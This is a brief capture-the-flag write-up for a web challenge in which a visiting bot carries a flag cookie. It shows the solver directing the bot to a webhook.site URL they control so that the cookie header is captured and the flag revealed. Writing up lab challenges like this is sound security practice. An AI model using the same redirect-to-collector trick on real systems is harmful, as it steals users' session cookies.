solved by hartmannsyg
Guess blahaj’s favourite website and he will give you the flag!
We are given the website and the source code. Looking into the source code, we see that it visits a site and adds a cookie, and that we are supposed to steal the cookie:
1 |
|
We simply create your own https://webhook.site, and go to /visit?site=https://webhook.site/<insert your id>
and we receive the header:
1 | cookie: favorite_site=blahaj{x55_exi5t5_n0t_ju5t_in_scr1pt} |
Funny, as no XSS is even required